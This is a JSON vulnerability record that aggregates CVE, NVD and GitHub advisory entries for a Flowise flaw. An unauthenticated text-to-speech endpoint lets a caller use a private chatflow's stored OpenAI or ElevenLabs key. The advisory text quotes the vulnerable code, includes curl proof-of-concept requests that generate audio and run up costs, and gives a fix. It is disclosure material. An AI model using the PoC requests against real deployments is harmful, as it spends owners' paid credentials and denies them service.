{"id":"CVE-2026-73603","revision":null,"records":[{"revision":"1120353f587b45a29d6a9d4e3a90ea47","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-73603","aliases":[],"title":"Flowise before 3.1.4 Credential Abuse via Text-to-Speech","description":"Flowise before 3.1.4 fails to validate chatflow visibility in the unauthenticated text-to-speech endpoint, allowing attackers to abuse private chatflow TTS credentials. Unauthenticated attackers can generate unlimited text-to-speech audio using stored OpenAI or ElevenLabs API keys by providing a valid chatflow UUID, incurring costs on the chatflow owner's account.","state":0,"publishedAt":"2026-08-13T11:28:09.428+00:00","modifiedAt":"2026-08-14T22:27:58.527+00:00","affected":[{"ecosystem":"Vendor product","name":"Flowise","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"FlowiseAI\",\n                    \"product\": \"Flowise\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/flowise\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"3.1.4\"\n                        },\n                        {\n                            \"version\": \"3.1.4\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","score":6.3,"severity":"MEDIUM"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-8gj2-2cvc-6xx7","https://www.vulncheck.com/advisories/flowise-before-credential-abuse-via-text-to-speech"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-73603","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-73603","identifiers":["CVE-2026-73603"]},"retained":false,"historicalAffected":[]},{"revision":"7a4c448ecba54fc4a95382f48a31e85b","observedAt":"2026-10-25T15:19:09.409+00:00","statement":{"source":"nvd","id":"CVE-2026-73603","aliases":[],"title":"Flowise before 3.1.4 fails to validate chatflow visibility in the unauthenticated text-to-speech endpoint, allowing attackers to abuse private chatflow TTS credentials. Unauthenticated attackers can generate unlimited text-to-speech audio u…","description":"Flowise before 3.1.4 fails to validate chatflow visibility in the unauthenticated text-to-speech endpoint, allowing attackers to abuse private chatflow TTS credentials. Unauthenticated attackers can generate unlimited text-to-speech audio using stored OpenAI or ElevenLabs API keys by providing a valid chatflow UUID, incurring costs on the chatflow owner's account.","state":0,"publishedAt":"2026-08-13T12:17:24.617+00:00","modifiedAt":"2026-10-24T15:10:00.19+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":6.3,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","score":5.3,"severity":"MEDIUM"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-8gj2-2cvc-6xx7","https://www.vulncheck.com/advisories/flowise-before-credential-abuse-via-text-to-speech"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73603","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-862"],"productCriteria":["cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-08-13T12:17:24.617","lastModified":"2026-10-24T15:10:00.190"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-73603","identifiers":["CVE-2026-73603"]},"retained":false,"historicalAffected":[]},{"revision":"06c7bf5f7a8444e0a4ae283849cd487a","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-8gj2-2cvc-6xx7","aliases":["CVE-2026-73603"],"title":"Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials","description":"## Summary\n\nThe `/api/v1/text-to-speech/generate` endpoint is whitelisted (requires no authentication) and accepts any `chatflowId` without checking whether the referenced chatflow is public. An unauthenticated attacker who knows a valid chatflow UUID can abuse that chatflow's TTS credential (OpenAI or ElevenLabs API key) to generate unlimited text-to-speech audio, incurring costs on the chatflow owner's account.\n\n## Details\n\nThe TTS `generateTextToSpeech` controller at `packages/server/src/controllers/text-to-speech/index.ts:10-171` is whitelisted at `packages/server/src/utils/constants.ts:41`:\n\n```typescript\n'/api/v1/text-to-speech/generate',\n```\n\nWhen a `chatflowId` is provided and the user is not authenticated (no `req.user`), the controller falls back to fetching the chatflow without workspace scoping:\n\n```typescript\n// packages/server/src/controllers/text-to-speech/index.ts:36-42\nif (workspaceId) {\n    chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId)\n} else {\n    // Fallback: get workspaceId from chatflow when req.user.activeWorkspaceId is not set\n    chatflow = await chatflowsService.getChatflowById(chatflowId)  // NO isPublic check\n    workspaceId = chatflow.workspaceId\n}\n```\n\nThe `getChatflowById` function at `packages/server/src/services/chatflows/index.ts:247-272` fetches any chatflow by ID when `workspaceId` is not provided:\n\n```typescript\nconst dbResponse = await appServer.AppDataSource.getRepository(ChatFlow).findOne({\n    where: {\n        id: chatflowId,\n        ...(workspaceId ? { workspaceId } : {})  // No workspace filter when workspaceId is undefined\n    }\n})\n```\n\nThe controller then extracts the TTS provider configuration from the chatflow:\n\n```typescript\n// packages/server/src/controllers/text-to-speech/index.ts:51-66\nconst ttsConfig = JSON.parse(chatflow.textToSpeech)\nconst activeProviderKey = Object.keys(ttsConfig).find(key => ttsConfig[key].status === true)\nconst providerConfig = ttsConfig[activeProviderKey]\nprovider = activeProviderKey\ncredentialId = providerConfig.credentialId  // Extracted from private chatflow\n```\n\nThis `credentialId` is then used to decrypt and use the stored credential (OpenAI or ElevenLabs API key) to make TTS API calls at `packages/components/src/textToSpeech.ts:33-34`:\n\n```typescript\nconst credentialId = textToSpeechConfig.credentialId as string\nconst credentialData = await getCredentialData(credentialId ?? '', options)\n```\n\n## PoC\n\n```bash\n# Step 1: Know a chatflow UUID that has TTS enabled (any chatflow, public or private)\nCHATFLOW_ID=\"<any-chatflow-uuid-with-tts-enabled>\"\n\n# Step 2: Abuse the TTS credential to generate audio without authentication\ncurl -X POST \"http://localhost:3000/api/v1/text-to-speech/generate\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"chatflowId\": \"'${CHATFLOW_ID}'\",\n    \"chatId\": \"attacker-chat-1\",\n    \"chatMessageId\": \"msg-1\",\n    \"text\": \"This is a test of unauthorized TTS generation using someone elses API key\"\n  }'\n\n# Expected: Returns SSE stream with TTS audio data using the chatflow owner's OpenAI/ElevenLabs credentials\n# event: tts_start\n# data: {\"event\":\"tts_start\",\"data\":{\"chatMessageId\":\"msg-1\",\"format\":\"mp3\"}}\n# event: tts_data\n# data: {\"event\":\"tts_data\",\"data\":{\"chatMessageId\":\"msg-1\",\"audioChunk\":\"<base64-audio>\"}}\n\n# Step 3: Repeat with large text to incur costs\ncurl -X POST \"http://localhost:3000/api/v1/text-to-speech/generate\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"chatflowId\": \"'${CHATFLOW_ID}'\",\n    \"chatId\": \"attacker-chat-2\",\n    \"chatMessageId\": \"msg-2\",\n    \"text\": \"'$(python3 -c \"print('A' * 4096)\")'\"\n  }'\n```\n\n## Impact\n\n- **Financial Impact**: An attacker can generate unlimited TTS audio using the chatflow owner's OpenAI or ElevenLabs API credentials, incurring potentially significant costs. OpenAI TTS costs ~$15/1M characters; an attacker could generate large volumes of audio.\n- **Credential Abuse**: The attacker effectively gains indirect access to the stored API credentials without needing to authenticate or have any permissions. The credentials are not directly exposed but are used on behalf of the attacker.\n- **Denial of Service**: By exhausting the API quota/budget of the credential, the attacker can deny service to legitimate users of the chatflow.\n- **Affects Private Chatflows**: This vulnerability affects all chatflows with TTS configured, including those explicitly marked as private (`isPublic: false`).\n\n## Recommended Fix\n\n1. Check `isPublic` before allowing unauthenticated TTS generation:\n\n```typescript\n// packages/server/src/controllers/text-to-speech/index.ts\nif (chatflowId) {\n    let chatflow;\n    let workspaceId = req.user?.activeWorkspaceId;\n    \n    if (workspaceId) {\n        chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId)\n    } else {\n        chatflow = await chatflowsService.getChatflowById(chatflowId)\n        // Verify the chatflow is public before using its credentials\n        if (!chatflow.isPublic) {\n            throw new InternalFlowiseError(\n                StatusCodes.UNAUTHORIZED,\n                'TTS generation requires authentication for non-public chatflows'\n            )\n        }\n        workspaceId = chatflow.workspaceId\n    }\n    // ... rest of the function\n}\n```\n\n2. Consider applying rate limiting to the TTS endpoint to prevent abuse even for public chatflows.","state":0,"publishedAt":"2026-08-04T19:19:44+00:00","modifiedAt":"2026-08-14T04:12:08.3363008+00:00","affected":[{"ecosystem":"npm","name":"flowise","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.1.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-8gj2-2cvc-6xx7","https://github.com/FlowiseAI/Flowise/pull/6650","https://github.com/FlowiseAI/Flowise/commit/dbec8f9fd3c42faab49416fe81ff1774a5344cba","https://github.com/FlowiseAI/Flowise","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.4"],"sourceUrl":"https://github.com/advisories/GHSA-8gj2-2cvc-6xx7","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-8gj2-2cvc-6xx7","identifiers":["GHSA-8gj2-2cvc-6xx7","CVE-2026-73603"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-25T23:02:08.9235896+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-25T23:02:08.9235896+00:00","lastSuccessAt":"2026-10-25T23:02:09.0869487+00:00","error":null,"lastVerifiedAt":"2026-10-25T23:02:09.0869513+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-1a687ad2a0b90150aa7d97c9f39e63de695ae2db23e31ebc28df1492c461b23c-5e0a45ae0cf63c80268dd44eaeb20879d480eba4da3306bde3dcd925fa4c114f","complete":true,"records":414047,"lastAttemptAt":"2026-10-25T23:02:08.5196863+00:00","lastSuccessAt":"2026-10-25T23:02:08.4495153+00:00","error":null,"lastVerifiedAt":"2026-10-25T23:02:08.5196863+00:00","snapshotPublishedAt":"2026-10-25T22:26:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-25T23:02:11.7890287+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":4764,"expectedIdentifiers":13474},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-25T23:02:08.9235896+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-25T23:02:08.9235896+00:00","lastSuccessAt":"2026-10-25T23:02:09.087647+00:00","error":null,"lastVerifiedAt":"2026-10-25T23:02:09.08765+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-204a3fb93a00487e8f7f36db01dc851d","complete":true,"records":13413,"lastAttemptAt":"2026-10-25T23:02:09.6218557+00:00","lastSuccessAt":"2026-10-25T16:19:28.681+00:00","error":null,"lastVerifiedAt":"2026-10-25T16:19:28.681+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13474,"expectedIdentifiers":13474},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-2375a4e597279abf92e8747e140fe8da9d421877cd49cae3ac69a2cb78469b2c","complete":true,"records":9779,"lastAttemptAt":"2026-10-25T23:02:08.8808579+00:00","lastSuccessAt":"2026-10-24T13:19:53.1346702+00:00","error":null,"lastVerifiedAt":"2026-10-25T23:02:08.8808579+00:00","snapshotPublishedAt":"2026-10-24T03:03:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-25T23:02:08.6737644+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-25T23:02:08.6737644+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7da67a15aa6e56a0e3081a7646dc74d537e6ef974afc593c2b1794ed01970648","complete":true,"records":2969,"lastAttemptAt":"2026-10-25T23:02:08.8933341+00:00","lastSuccessAt":"2026-10-24T13:19:59.1145547+00:00","error":null,"lastVerifiedAt":"2026-10-25T23:02:08.8933341+00:00","snapshotPublishedAt":"2026-10-24T08:47:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-11236ada05a0588e51df37636716526867f73fb127392c49680b6f8561496a99","complete":true,"records":230781,"lastAttemptAt":"2026-10-25T23:02:08.7805888+00:00","lastSuccessAt":"2026-10-25T22:04:07.173333+00:00","error":null,"lastVerifiedAt":"2026-10-25T23:02:08.7805888+00:00","snapshotPublishedAt":"2026-10-25T21:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}